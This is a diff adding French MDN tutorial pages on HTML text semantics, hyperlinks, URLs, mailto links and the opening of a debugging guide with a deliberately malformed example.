+<p>N'utilisez pas d'éléments de présentation comme <code>&lt;font&gt;</code> et <code>&lt;center&gt;</code>.</p>
+
+<p>Dans l'exemple JavaScript ci‑dessus, <var>para</var> représente un élément paragraphe.</p>
+
+
+<p>Sélectionnez la totalité du texte avec <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>
+
+<pre>$ <kbd>ping mozilla.org</kbd>
+<samp>PING mozilla.org (63.245.208.195) 56(84) bytes of data.
+64 bytes from mozilla.org (63.245.208.195): icmp_seq=1 ttl=46 time=191 ms</samp></pre>
+
+ +

Ce code se présente ainsi :

+ +

{{ EmbedLiveSample('Représentation_du_code_informatique','100%',300) }}

+ +

Balisage des heures et dates

+ +

HTML fournit également l'élément {{htmlelement("time")}}} pour marquer les heures et les dates dans un format lisible par machine. Par exemple :

+ +
<time datetime="2016-01-20">20 janvier 2016</time>
+ +

En quoi est-ce utile ? Eh bien, il y a beaucoup de façons différentes dont les humains écrivent les dates. La date ci-dessus pourrait s'écrire comme suit :

+ +
    +
  • 20 Janvier 2016
    • +
  • 20th January 2016
    • +
  • Jan 20 2016
    • +
  • 20/01/16
    • +
  • 01/20/16
    • +
  • Le 20 du mois prochain
    • +
  • 20e Janvier 2016
    • +
  • 2016年1月20日
    • +
  • etc.
    • +
+ +

Mais ces différents formes ne sont pas facilement reconnaissables par les ordinateurs — que se passerait‑il si vous vouliez saisir automatiquement les dates de tous les événements dans une page et les insérer dans un calendrier ? L'élément {{htmlelement("time")}}} vous permettra d'attacher un horodatage non ambigu lisible par machine à cette fin.

+ +

L'exemple de base ci-dessus ne fournit qu'une simple date lisible par machine, mais il y a beaucoup d'autres options possibles, par exemple :

+ +
<!-- Simple date standard -->
+<time datetime="2016-01-20">20 janvier 2016</time>
+<!-- Juste l'année et le mois -->
+<time datetime="2016-01">janvier 2016</time>
+<!-- Juste le mois et les jour -->
+<time datetime="01-20">20 janvier</time>
+<!-- Juste l'heure, heure et minutes -->
+<time datetime="19:30">19h30</time>
+<!-- Vous pouvez aussi mettre les secondes et les millisecondes ! -->
+<time datetime="19:30:01.856">19h30m1,856s</time>
+<!-- Date et heure -->
+<time datetime="2016-01-20T19:30">19h30, le 20 janvier 2016</time>
+<!-- Date et heure avec décalage de fuseau horaire -->
+<time datetime="2016-01-20T19:30+01:00">19h30, le 20 janvier 2016 corespond à 20h30 en France</time>
+<!-- Appel d'un numéro de semains donné -->
+<time datetime="2016-W04">La 4e semaine de 2016</time>
+ +

Résumé

+ + + +

Nous voici arrivés à la fin de notre étude de la sémantique des textes en HTML. N'oubliez pas que ce qui précède ne constitue pas la liste exhaustive des éléments texte en HTML — nous avons essayé de couvrir essentiellement les plus courants dans la nature ou du moins ceux que nous avons pensé intéressants. Pour en voir plus, jetez un coup d'oeil à notre Référence des éléments HTML (la section sémantique de texte en ligne serait un bon point de départ.) Dans l'article suivant, nous examinerons les éléments HTML à utiliser pour structurer les diverses parties d'un document HTML.

+ +

{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks", "Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.html new file mode 100644 index 0000000000..b334b15b2c --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -0,0 +1,333 @@ +--- +title: Création d'hyperliens +slug: Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks +tags: + - Apprendre + - Codage + - Débutant + - Guide + - HTML + - Liens + - Title + - URL + - absolu + - hyperliens + - relatif +translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

Les Hyperliens sont vraiment importants, ils sont ce qui fait du Web une toile. Cet article montre la syntaxe requise pour faire un lien et discute des bonnes pratiques pour les liens.

+ + + + + + + + + + + + +
Prérequis :Être familiarisé avec les bases du HTML, traitées à la page Commencer avec le HTML et du formatage de texte HTML, décrit dans les Fondamentaux du texte HTML.
Objectif :Apprendre à implémenter un hyperlien efficacement, et à relier de multiples fichiers ensemble.
+ +

Qu'est-ce un hyperlien ?

+ +

Les hyperliens sont l'une des plus passionnantes innovations que le web a à offrir. De fait, ils ont été une fonctionnalité du Web depuis le tout début, mais ils sont ce qui fait du Web une toile — ils nous permettent de lier nos documents à n'importe quel autre document (ou autre ressource) voulu ; nous pouvons faire des liens vers des parties précises de documents et rendre des applications disponibles à une simple adresse web (contrairement aux applications natives, qui doivent être installées et tout le travail). À peu près tout contenu web peut être converti en lien, de sorte que cliqué (ou activé autrement), il dirigera le navigateur vers une autre adresse web ({{glossary("URL")}}).

+ +
+

Note : Une URL peut pointer vers des fichiers HTML, des fichiers textes, des images, des documents textuels, des fichiers vidéo ou audio et tout ce qui peut exister sur le Web. Si le navigateur Web ne sait pas comment afficher ou gérer un fichier, il vous demande si vous voulez ouvrir le fichier (dans ce cas, la responsabilité de l'ouverture et de la gestion du fichier incombe à l'application native adéquate sur l'appareil) ou bien télécharger le fichier (auquel cas, vous pouvez essayer de vous en occuper plus tard).

+
+ +

La page d'accueil de la BBC, par exemple, contient un nombre important de liens pour pointer, non seulement vers de multiples articles d'actualité, mais encore vers d'autres zones du site (fonctionnalité de navigation) , des pages d'inscription/de connexion (outils utilisateur) et plus encore.

+ +

frontpage of bbc.co.uk, showing many news items, and navigation menu functionality

+ +

Anatomie d'un lien

+ +

Un lien élémentaire se crée en intégrant le texte (ou tout autre contenu, cf. {{anch("Liens de niveau bloc")}}) que vous voulez transformer en lien dans un élément {{htmlelement("a")}} et en lui affectant un attribut {{htmlattrxref("href", "a")}} (également connu comme étant une Hypertext Reference) contenant l'adresse web vers laquelle vous voulez que le lien pointe.

+ +
<p>Je suis en train de créer un lien à
+<a href="https://www.mozilla.org/fr/">la page d'accueil Mozilla</a>.
+</p>
+ +

qui donne le résultat suivant :

+ +

Je suis en train de créer un lien à la page d'accueil de Mozilla.

+ +

Ajouter des informations d'assistance avec l'attribut title

+ +

L'autre attribut qu'il est possible d'ajouter à un lien est title ; il est destiné à contenir des informations utiles supplémentaires à propos du lien, comme le type d'informations contenes dans la page ou ce qu'il faut savoir. Par exemple :

+ +
<p>Je suis en train de créer un lien à
+<a href="https://www.mozilla.org/fr/"
+   title="Le meilleur endroit pour trouver plus d'informations sur la
+  mission de Mozilla et la manière de contribuer">la page d'accueil Mozilla</a>.
+</p>
+ +

Voici le résultat (le contenu de title apparaît dans une info-bulle quand le pointeur de souris passe sur le lien) :

+ +

Je suis en train de créer un lien vers la page d'accueil de Mozilla

+ +
+

Note : le title d'un lien n'est révélé que lors du survol de la souris, ce qui signifie que les personnes utilisant les commandes clavier pour naviguer dans les pages web auront des difficultés à accéder aux informations de title. Si une information de title est vraiment importante pour l'utilisation d'une page, alors vous devez la présenter de manière accessible à tout utilisateur, par exemple, en la mettant dans le texte normal.

+
+ +

Apprentissage actif : création de votre propre exemple de lien

+ +

C'est l'heure de l'apprentissage actif : veuillez créer un document HTML avec un éditeur de code local (notre fichier modèle index.html fera parfaitement l'affaire).

+ +
    +
  • Dans le corps de l'HTML, essayez d'ajouter un ou plusieurs paragraphes ou d'autres types de contenu pour lesquels vous avez déjà des connaissances.
    • +
  • Changez certaines parties du contenu en liens.
    • +
  • Insérez les attributs title.
    • +
+ +

Liens de niveau bloc

+ +

Comme mentionné précédemment, vous pouvez transformer à peu près tout contenu en un lien, même des éléments bloc . Si vous avez une image que vous voulez transformer en lien, vous avez juste à mettre l'image entre les balises <a></a>.

+ +
<a href="https://www.mozilla.org/fr/">
+  <img src="mozilla-image.png" alt="logo mozilla pointant sur la page d'accueil mozilla">
+</a>
+ +
+

Note : Nous vous donnerons beaucoup plus de détails sur l'utilisation d'images sur le Web dans un futur article.

+
+ +

Une brève présentation des URL et des chemins

+ +

Pour bien maîtriser les cibles des liens, vous avez besoin d'avoir compris ce que sont les URL et les chemins. Cette section vous donne les informations voulues pour y parvenir.

+ +

Une URL, ou Uniform Resource Locator, est simplement une chaîne textuelle qui définit où se situe quelque chose sur le Web. Par exemple, la page d'accueil en anglais de Mozilla est située à l'adresse https://www.mozilla.org/en-US/.

+ +

Les URL utilisent des chemins pour trouver des fichiers. Les chemins indiquent où dans le système de fichiers, se trouve celui qui vous intéresse. Regardons un exemple simple de structure de répertoires (voir le dossier creating-hyperlinks).

+ +

Une simple structure de répertoire. Le répertoire parent s'appelle creating-hyperlinks et contient deux fichiers appelés index.html et contacts.html, et deux répertoires appelés projects et pdfs, qui contiennent respectivement un fichier index.html et un fichier project-brief.pdf.

+ +

La racine de cette structure de répertoires s'appelle creating-hyperlinks. Quand vous travaillez localement sur un site web, vous avez un dossier contenant l'intégralité du site. Dans la racine, nous avons un fichier index.html et un contacts.html. Sur un site réel, index.html serait notre page d'accueil ou portail (page web servant de point d'entrée à un site web ou à une section particulière d'un site web).

+ +

Il y a aussi deux répertoires dans la racine — pdfs et projects. Chacun d'eux comporte un seul fichier — respectivement un PDF (project-brief.pdf) et un fichier index.html. Notez que vous pouvez heureusement avoir deux fichiers index.html dans un projet, pour autant qu'ils se trouvent dans deux emplacements différents dans le système de fichiers. De nombreux sites web le font. Le second index.html peut être le portail des informations relatives au projet.

+ +
    +
  • +

    Dans un même dossier : si vous voulez inclure un hyperlien dans index.html (celui de plus haut niveau) pointant vers contacts.html, il suffit d'indiquer uniquement le nom du fichier auquel vous voulez le lier, car il est dans le même répertoire que le fichier actuel. Ainsi, l'URL à utiliser est contacts.html :

    + + 
    <p>Voulez‑vous rencontrer un membre du personnel en particulier ?
+Voyez comment faire sur notre page <a href="contacts.html">Contacts</a>.</p>
    +
    • +
  • +

    Descendre dans les sous-répertoires : si vous désirez inclure un hyperlien dans index.html (celui de plus haut niveau) pointant vers projects/index.html, vous avez besoin de descendre dans le dossierprojects avant d'indiquer le fichier auquel vous voulez vous lier. Cela se fait en indiquant le nom du dossier, suivi d'une barre oblique normale, puis le nom du fichier. Donc l'URL à utiliser sera projects/index.html :

    + + 
    <p>Visitez la <a href="projects/index.html">page d'accueil</a> de mon projet.</p>
    +
    • +
  • +

    Monter dans les dossiers parents : si vous voulez inclure un hyperlien dans projects/index.html qui pointe vers pdfs/projects-brief.pdf, vous aurez besoin de monter dans le répertoire au niveau au‑dessus, puis de descendre dans le dossier pdfs. « Monter dans le répertoire au niveau au‑dessus » est indiqué avec deux points — .. —, de sorte que l'URL à utiliser sera ../pdfs/project‑brief.pdf :

    + + 
    <p>Voici un lien vers mon <a href="../pdfs/project-brief.pdf">sommaire de projet</a>.</p>
    +
    • +
+ +
+

Note : Vous pouvez combiner plusieurs instances de ces fonctionnalités dans des URL complexes si nécessaire, par ex. ../../../complexe/path/to/my/file.html.

+
+ +

Fragments de documents

+ +

Il est possible de faire un lien vers une partie donnée d'un document HTML (désignée du terme fragment de document), plutôt que juste le haut du document. Pour ce faire, vous devrez d'abord assigner un attribut {{htmlattrxref("id")}} à l'élément sur lequel vous voulez pointer. Il est généralement logique d'établir un lien vers une rubrique précise, ainsi cela ressemble à quelque chose comme :

+ +
<h2 id="Adresse_mailing">Adresse de mailing</h2>
+ +

Puis, pour faire un lien vers cet id précisément, il convient de l'indiquer à la fin de l'URL, précédé d'un croisillon (#) :

+ +
<p>Vous voulez nous écrire une lettre ? Utilisez notre <a href="contacts.html#Adresse_mailing">adresse de contact</a>.</p>
+ +

Vous pouvez même utiliser une référence au fragment de document seul pour faire un lien vers une autre partie du même document :

+ +
<p>Vous trouverez n l'<a href="#Adresse_mailing">adresse de mailing</a> de notre société au bas de cette page.</p>
+ +

URL absolue vs. URL relative

+ +

Deux termes que vous rencontrerez sur le Web sont URL absolue et URL relative :

+ +

URL absolue : pointe sur un emplacement défini de manière absolue sur le web, y compris en précisant le {{glossary("protocol","protocole")}} et le {{glossary("domain name","nom de domaine")}}. Ainsi par exemple, si une page index.html est téléversée dans le dossier nommé projects à la racine du serveur web, et que le domaine du site est http://www.example.com, la page sera accessible à l'adresse http://www.example.com/projects/index.html (ou même seulement http://www.example.com/projects/, du fait que la plupart des serveurs web cherchent pour le chargement une page d'accueil comme index.htm, si ce n'est pas précisé dans l'URL).

+ +

Une URL absolue pointera toujours vers le même emplacement, quel que soit l'endroit où elle est utilisée.

+ +

URL relative : pointe vers un emplacement qui est relatif au fichier à partir duquel vous établissez le lien, tout comme ce que nous avons vu précédemment. Donc, si nous voulons créer un lien depuis notre fichier d'exemple en http://www.example.com/projects/index.html vers un fichier PDF dans le même dossier, l'URL sera seulement le nom du fichier — càd., project-brief.pdf — pas besoin d'information supplémentaire. Si le PDF est disponible dans un sous-dossier de projects appelé pdfs, le lien relatif serait pdfs/project-brief.pdf (l'URL absolue équivalente serait http://www.example.com/projects/pdfs/project-brief.pdf.)

+ +

Une URL relative pointera vers des emplacements différents en fonction de l'endroit où se situe le fichier qui est utilisé ; par exemple, si nous déplacions notre index.html du dossier projects vers la racine du site web (au niveau le plus élevé, dans aucun dossier), le lien de l'URL relative pdfs/project-brief.pdf qui s'y trouve pointerait alors vers un fichier situé en http://www.example.com/pdfs/project-brief.pdf, et non vers un fichier situé en http://www.example.com/projects/pdfs/project-brief.pdf.

+ +

Bien sûr, l'emplacement du fichier project-brief.pdf et du dossier pdfs ne changera pas subitement du fait que vous avez déplacé le fichier index.html : cela aura pour effet que votre lien pointera vers un mauvais emplacement, de sorte que cela ne fonctionnera pas si on clique dessus. Vous devez être prudent !

+ +

Meilleures pratiques de liens

+ +

Il y a quelques bonnes pratiques à suivre pour l'écriture de liens. Jetons-y un coup d'œil.

+ +
    +
+ +

Utilisez une formulation claire des liens

+ +

Il est facile de mettre des liens sur une page. Mais ce n'est pas suffisant. Nous devons rendre nos liens accessibles à tous les lecteurs, indépendamment de leur contexte d'installation et des outils qu'ils préfèrent. Par exemple :

+ +
    +
  • les utilisateurs de lecteurs d'écran aiment à sauter de lien en lien sur la page, et à les lire hors contexte.
    • +
  • les moteurs de recherche utilisent le texte des liens pour indexer les fichiers cibles, c'est donc une bonne idée que d'inclure des mots-clés dans le texte du lien pour décrire effectivement à quoi il est lié.
    • +
  • les utilisateurs visuels survolent la page plutôt que d'en lire chaque mot, et leurs yeux seront forcément attirés par les particularités qui se détachent de la page, comme les liens. Ils trouveront utile le texte descriptif du lien.
    • +
+ +

Regardons un exemple particulier :

+ +

Bon texte de lien: Télécharger Firefox

+ +
<p><a href="https://firefox.com/">
+  Télécharger Firefox
+</a></p>
+ +

Mauvais texte de lien : Cliquer ici pour télécharger Firefox

+ +
<p><a href="https://firefox.com/">
+  Cliquer ici
+</a>
+pour télécharger Firefox</p>
+
+ +

Autres conseils :

+ +
    +
  • Ne répétez pas l'URL dans le texte du lien — les URL sont moches, et elles le sont encore plus à entendre quand un lecteur d'écran les épèle.
    • +
  • Ne dites pas « lien » ou « liens vers... » dans le texte du lien, ce n'est que du rabâchage. Les lecteurs d'écran indiquent aux gens qu'il y a un lien. Les utilisateurs visuels verront aussi qu'il y a un lien, du fait que les liens sont généralement de couleur différente et soulignés (de façon générale, cette convention tacite ne devrait pas être trahie, car les utilisateurs y sont très habitués).
    • +
  • Faites que vos étiquettes de lien soient aussi courtes que possible : les liens longs agacent particulièrement les utilisateurs de lecteurs d'écran, qui doivent en écouter la lecture entière.
    • +
  • Minimiser les cas où plusieurs copies d'un même texte pointent vers des emplacements différents. Afficher une liste de liens hors contexte peut poser problème aux utilisateurs de lecteurs d'écran : ainsi plusieurs liens tous étiquetés « cliquez ici », « cliquez ici », « cliquez ici » seront source de confusion.
    • +
+ +

Utilisez des liens relatifs partout où c'est possible

+ +

Compte tenu de la description ci-dessus, vous pourriez penser qu'utliser des liens absolus tout le temps est une bonne idée ; après tout, ils ne sont pas brisés si une page est déplacée, comme c'est le cas avec les liens relatifs. Mais, vous devez utiliser des liens relatifs partout où c'est possible pour pointer vers d'autres emplacements à l'intérieur d'un même site web. (pour les liens vers un autre site web, vous aurez besoin d'utiliser un lien absolu) :

+ +
    +
  • Pour commencer, il sera plus facile de parcourir votre code — les URL relatives sont généralement nettement plus courtes que les URL absolues, ce qui rend la lecture de votre code beaucoup plus facile.
    • +
  • Ensuite, il est plus efficace d'utiliser des URL relatives partout où c'est possible. Quand vous utilisez une URL absolue, votre navigateur commence par rechercher l'emplacement réel du serveur dans le « Domain Name System » ({{glossary("DNS")}} ; voir Fonctionnement du web pour plus d'informations), puis il se rend sur ce serveur et trouve le fichier demandé. Avec une URL relative par contre, le navigateur recherche le fichier demandé uniquement sur le même serveur. Donc, si vous utilisez des URL absolues là où des URL relatives auraient été suffisantes, vous obligez constamment le navigateur à faire du travail supplémentaire, ce qui signifie qu'il fonctionnera moins efficacement.
    • +
+ +

Liaison vers des ressources non-HTML : signalez‑les clairement

+ +

Quand faites un lien vers une ressource à télécharger (comme un PDF ou un document Word ) ou lue en flux (comme une video ou de l'audio) ou qui a un autre effet potentiellement inattendu (qui ouvre d'une fenêtre pop-up ou qui charge une vidéo Flash), vous devez le signaler clairement pour réduire toute confusion. Cela peut être parfaitement ennuyeux, par exemple :

+ +
    +
  • si vous êtes sur une connexion à faible bande passante, cliquer sur un lien et initier un téléchargement de plusieurs mégaoctets de façon inattendue.
    • +
  • si vous n'avez pas Flash player installé, cliquer sur un lien et être soudain redirigé vers une page qui nécessite Flash.
    • +
+ +

Voici quelques exemples suggérant les genres de texte pouvant être employé :

+ +
<p><a href="http://www.exemple.com/rapport-volumineux.pdf">
+  Télécharger le rapport des ventes (PDF, 10Mo)
+</a></p>
+
+<p><a href="http://www.exemple.com/flux-video/" target="_blank">
+  Regarder la vidéo (le flux s'ouvre dans un nouvel onglet, qualité HD)
+</a></p>
+
+<p><a href="http://www.exemple.com/jeu-de-voiture">
+  Jouer au jeu de voiture (nécessite Flash)
+</a></p>
+ +

Utilisez l'attribut download pour faire un lien vers un téléchargement

+ +

Quand vous faites un lien avec une ressource qui doit être téléchargée plutôt qu'ouverte dans le navigateur, vous pouvez utiliser l'attribut download pour fournir un nom d'enregistrement par défaut. Voici un exemple avec un lien de téléchargement vers la version Windows la plus récente de Firefox :

+ +
<a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=fr-FR"
+   download="firefox-latest-64bit-installer.exe">
+  Télécharger la version de Firefox pour Windows la plus récente (64-bit)(français, France)
+</a>
+ +

Apprentissage actif : création d'un menu de navigation

+ +

Pour cet exercice, nous aimerions que vous reliiez ensemble quelques pages par un menu de navigation pour créer un web site multi-page. C'est une manière courante de créer un site web, la même structure de page est utilisée sur chaque page, y compris le même menu de navigation, de sorte que quand les liens sont cliqués, cela vous donne l'impression de rester au même endroit, tandis qu'un contenu différent est présenté.

+ +

Vous aurez besoin de faire des copies locales des quatre pages suivantes, toutes dans le même dossier (voyez aussi le dossier navigation-menu-start pour une liste complète des fichiers).

+ + + +

Vous devez :

+ +
    +
  1. Ajouter une liste non-ordonnée à l'endroit indiqué sur une page, qui contiendra les noms des pages à relier. Un menu de navigation n'est habituellement qu'une liste de liens, donc c'est ok sur le plan sémantique.
    2. +
  2. Changer chaque nom de page en un lien vers cette page.
    3. +
  3. Copier le menu de navigation dans chaque page.
    4. +
  4. Sur chaque page, enlever seulement le lien vers cette page, c'est source de confusion et sans objet pour une page que d'inclure un lien vers elle-même, et l'absence d'un lien constitue un bon rappel visuel pour se souvenir sur quelle page vous êtes actuellement.
    5. +
+ +

L'exemple terminé devrait finir par ressembler à quelque chose comme ce qui suit :

+ +

Un exemple d'un menu de navigation HTML simple, avec les éléments page d'accueil, images, projets et menu des réseaux sociaux.

+ +
+

Note : si vous êtes bloqué, ou n'êtes pas sûr d'avoir bien compris, vous pouvez vérifier le dossier navigation-menu-marked-up pour voir la réponse correcte.

+
+ +

Liens de courriel

+ +

Il est possible de créer des liens ou des boutons qui, losrqu'ils sont cliqués, ouvrent un nouveau message de courriel sortant plutôt que de faire un lien vers une ressource ou une page. C'est fait en utilisant l'élément {{HTMLElement("a")}} et le schéma d'URL mailto:.

+ +

Sous sa forme la plus basique et la plus communément utilisée, un lien mailto: indique simplement l'adresse du destinataire voulu. Par exemple :

+ +
<a href="mailto:nullepart@mozilla.org">Envoyer un courriel à nullepart</a>
+
+ +

Ceci donne un résultat qui ressemble à ceci : Envoyer un courriel à nullepart.

+ +

En fait, l'adresse de courriel est même optionnelle. Si vous l'omettez (c'est-à-dire, si votre {{htmlattrxref("href", "a")}} est simplement "mailto:"), une nouvelle fenêtre de courriel sortant sera ouverte par le client de courriel de l'utilisateur, sans adresse de destination encore spécifiée. C'est souvent utile comme pour les liens "Partager" que lesquels les utilisateurs peuvent cliquer pour envoyer un email à l'adresse de leur choix.

+ +

Spécification des détails

+ +

En plus de l'adresse mail, vous pouvez fournir d'autres informations. En fait, tous les champs d'en-tête standards peuvent être ajoutés à l'URL mailto que vous fournissez. Les plus couramment utilisés parmi ceux-ci sont subject, cc et body (qui n'est pas à proprement parler un champ d'en-tête, mais qui vous permet d'indiquer un court message de contenu pour le nouveau courriel). Chaque champ est indiqué en termes de requête.

+ +

Voici un exemple incluant cc (carbon copy), bcc (blind cc), subject (sujet) et body :

+ +
<a href="mailto:nullepart@mozilla.org?cc=nom2@rapidtables.com&bcc=nom3@rapidtables.com&subject=L%27objet%20du%20courriel&body=Le%20corps%20du%20courriel">
+  Envoyer un mail avec copie, copie cachée, sujet et corps de message
+</a>
+ +
+

Note : La valeur de chaque champ doit être codée à la façon d'une URL, c'est-à-dire que les caractères non-imprimables (les caractères "invisibles" tels que les tabulations, les retours chariot et les sauts de page) et les espaces doivent être percent-escaped. Notez également l'utilisation du point d'interrogation (?) pour séparer l'URL principale des valeurs de champ et de l'esperluette (&) pour séparer chaque champ dans l'URL mailto:. C'est la notation standard des requêtes URL. Lire La méthode GET pour comprendre ce pourquoi la notation de requête URL est habituellement le plus souvent utilisée.

+
+ +

Voici quelques autres exemples d'URL mailto :

+ + + +

Résumé

+ +

C'est tout pour les liens, du moins pour l'instant ! Vous reviendrez aux liens plus loin dans le cours quand vous en serez arrivé à les mettre en forme. Pour la prochaine étape HTML, nous reviendrons à l'analyse sémantique du texte et verrons quelques fonctionnalités plus avancées ou inhabituelles que vous trouverez utiles : le formatage avancé de texte est votre prochain arrêt.

+ +
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

Dans ce module

+ + diff --git a/files/fr/learn/html/introduction_to_html/debugging_html/index.html b/files/fr/learn/html/introduction_to_html/debugging_html/index.html new file mode 100644 index 0000000000..fe3176ca62 --- /dev/null +++ b/files/fr/learn/html/introduction_to_html/debugging_html/index.html @@ -0,0 +1,193 @@ +--- +title: Déboguer de l'HTML +slug: Apprendre/HTML/Introduction_à_HTML/Debugging_HTML +tags: + - Codage + - Débutant + - Erreur + - Guide + - HTML + - Validation + - débogage + - validateur +translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}}
+ +

Écrire du code HTML, c'est bien, mais si quelque chose se passe mal, que faire pour trouver où est l'erreur dans le code ? Cet article vous indique divers outils pour vous aider à trouver et corriger les erreurs en HTML.

+ + + + + + + + + + + + +
Prérequis :Être familiarisé avec les bases du HTML, traitées aux pages Commencer avec le HTML,  Fondamentaux du texte HTML et Création d'hyperliens.
Objectif :Apprendre les bases de l'utilisation des outils de débogage pour détecter des problèmes en HTML.
+ +

Déboguer n'est pas un problème

+ +

Quand on écrit du code , tout va généralement bien, jusqu'au moment redouté où une erreur se produit — vous avez fait quelque chose d'incorrect, donc votre code ne fonctionne pas — soit pas du tout, soit pas tout à fait comme vous l'aviez souhaité. Par exemple, ce qui suit montre une erreur signalée lors d'une tentative de {{glossary("compile","compilation")}} d'un programme simple écrit en Rust.

+ +

Console montrant le résultat de la compilation d'un programme Rust avec guillemet manquant dans une chaîne textuelle dans une instruction d'affichage. Le message signalé est « erreur : guillemet double manquant dans la chaîne ».Ici, le message d'erreur est relativement facile à comprendre — « unterminated double quote string » : il manque un guillemet double ouvrant ou fermant pour envelopper la chaîne. Si vous regardez le listage, vous verrez println!(Salut, Ô Monde!"); il manque un guillemet double. Cependant, des messages d'erreur peuvent devenir plus complexes et plus abscons au fur et à mesure que le programme grossit et, même dans des cas simples devenir intimidants à quelqu'un qui ne connaît rien du Rust.

+ +

Déboguer ne doit toutefois pas devenir un problème —  la clé pour être à l'aise lors de l'écriture et du débogage d'un programme réside dans une bonne connaissance à la fois du langage et des outils.

+ +

HTML et le débogage

+ + + +

HTML n'est pas aussi compliqué à comprendre que le Rust. HTML n'est pas compilé sous une forme différente avant que le navigateur n'ait fait son analyse et affiche le résultat (il est interprété, pas compilé). Et la syntaxe des {{glossary("element","éléments")}} HTML est sans doute beaucoup plus facile à comprendre qu'un « vrai langage de programmation » tel le Rust, le {{glossary("JavaScript")}} ou le {{glossary("Python")}}. La façon dont les navigateurs analysent le HTML est beaucoup plus permissive que celle des langages de programmation, ce qui est à la fois une bonne et une mauvaise chose.

+ +

Code permissif

+ +

Que voulons‑nous dire par permissif ? Et bien, quand vous faites une erreur dans du code, vous rencontrerez deux types principaux d'erreurs :

+ +
    +
  • Erreurs de syntaxe : ce sont des « fautes d'orthographe » dans le code qui font que le programme ne fonctionne vraiment pas, comme l'erreur du Rust ci‑dessus. Elles sont généralement faciles à corriger pour autant que vous soyez à l'aise avec la syntaxe du langage et que vous sachiez ce que signifie le message d'erreur.
    • +
  • Erreurs de logique : ce sont des erreurs dans lesquelles la syntaxe est réellement correcte, mais pour lesquelles le code ne correspond pas à vos souhaits, ce qui veut dire que le programme ne s'exécute pas correctement. Elles sont généralement plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas de message d'erreur pour vous guider à la source de l'erreur.
    • +
+ + + +

HTML ne craint pas les erreurs de syntaxe, car les navigateurs l'analysent de manière permissive : la page s'affiche toujours même s'il y a des erreurs de syntaxe. Les navigateurs intègrent des règles indiquant comment interpréter un balisage incorrectement écrit, de sorte que vous obtiendrez toujours quelque chose à l'exécution, même si ce n'est pas ce que vous attendiez. Mais cela reste, bien sûr, toujours un problème !

+ +
+

Note : HTML est analysé de façon permissive parce que, lorsque le Web a été créé pour la première fois, on a décidé qu'il était plus important de permettre aux gens de publier leur contenu que de s'assurer d'une syntaxe absolument correcte. Le web ne serait probablement pas aussi populaire qu'il l'est aujourd'hui, s'il avait été plus strict dans ses débuts.

+
+ +

Apprentissage actif : étude avec un code permissif

+ +

Voici le moment venu d'étudier le caractère permissif du code HTML.

+ +
    +
  1. Primo, télécharchez notre démo debug-example et enregistrez‑le localement. Cette démo est délibérement écrite avec des erreurs pour que nous puissions les examiner (le balisage HTML est dit malformé, par opposition à bien-formé).
    2. +
  2. Ensuite, ouvrez‑le dans un navigateur. Vous verrez quelque chose comme ceci :Un simple document HTML intitulé « Exemples de HTML à déboguer » et quelques informations sur les erreurs HTML courantes, telles que les éléments non fermés ou mal imbriqués et des attributs non fermés.
    3. +
  3. Constatons que ce n'est pas terrible ; examinons le code source pour voir ce que nous pouvons en faire (seul le contenu de l'élément body est affiché) : + 
        <h1>Exemple de HTML à déboguer</h1>
+
+    <p>Quelles sont les causes d'erreur en HTML ?
+
+    <ul>
+      <li>Éléments non fermés : si un élément n'est <strong>pas
+          fermé proprement, ses effets peuvent déborder sur des
+          zones que vous ne souhaitiez pas.
+
+      <li>Éléments incorrectement imbriqués : imbriquer des
+          éléments proprement est également très important pour
+          que le code se comporte correctement.
+          <strong>caractères gras <em>ou gras et italiques ?</strong>
+          qu'est‑ce ?</em>
+
+      <li>Attributs non fermés : autre source courante de problèmes
+          en HTML. Voici un exemple: <a href="https://www.mozilla.org/>
+          lien à la page d'accueil de Mozilla</a>
+    </ul>
    +
    4. +
  4. Revoyons  les problèmes : +
      +
    • Les élements {{htmlelement("p")}} (paragraphe) et {{htmlelement("li")}} (élément de liste) n'ont pas de balise de fermeture. En voyant l'image ci‑dessus, cela ne semble pas avoir trop sévèrement affecté le rendu, car on voit bien où un élément se termine et où le suivant commence.
      • +
    • Le premier élément {{htmlelement("strong")}} n'a pas de balise de fermeture. C'est un peu plus problématique, car il n'est pas possible de dire où l'élément est supposé se terminer. En fait, tout le reste du texte est en gras.
      • +
    • Cette partie est mal imbriquée : <strong>caractères gras <em>ou gras et italiques ?</strong> qu'est ce ?</em>. Pas facile de dire comment il faut interpréter cela en raison du problème précédent.
      • +
    • La valeur de l'attribut {{htmlattrxref("href","a")}} n'a pas de guillemet double fermant. C'est ce qui semble avoir posé le plus gros problème — le lien n'a pas été mentionné du tout.
      • +
    +
    5. +
  5. Revoyons maintenant comment le navigateur a vu le balisage, par comparaison au balisage du code source. Pour ce faire, utilisons les outils de développement du navigateur. Si vous n'êtes pas un familier de l'utilisation des outils de développement du navigateur, prenez quelques minutes pour revoir Découverte des outils de développement du navigateur.
    6. +
